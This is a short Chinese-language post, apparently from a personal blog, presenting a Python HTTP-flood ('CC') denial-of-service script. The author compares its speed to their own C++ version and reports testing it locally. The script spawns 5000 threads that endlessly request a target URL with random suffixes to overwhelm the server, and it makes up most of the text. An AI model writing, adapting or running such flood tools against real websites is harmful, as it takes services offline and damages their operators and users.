不得不说,效率比我用vc写的是要差多了,线程多了还会报错,配合python的http服务器可以查看效果。
毕竟走的不是底层。但是还好,至少本地测试还是明显感觉到效果了。
import urllib.request as ur
import threading,random,sys
url=sys.argv[1]
class mycc(threading.Thread):
def __init__(self,url):
super(mycc,self).__init__()
self.url=url
self.start()
def run(self):
while True:
try:
ur.urlopen(self.url+str(random.randint(1,99999)))
except:
pass
#time.sleep(1)
for i in range(5000):#并发线程数
a = mycc(url)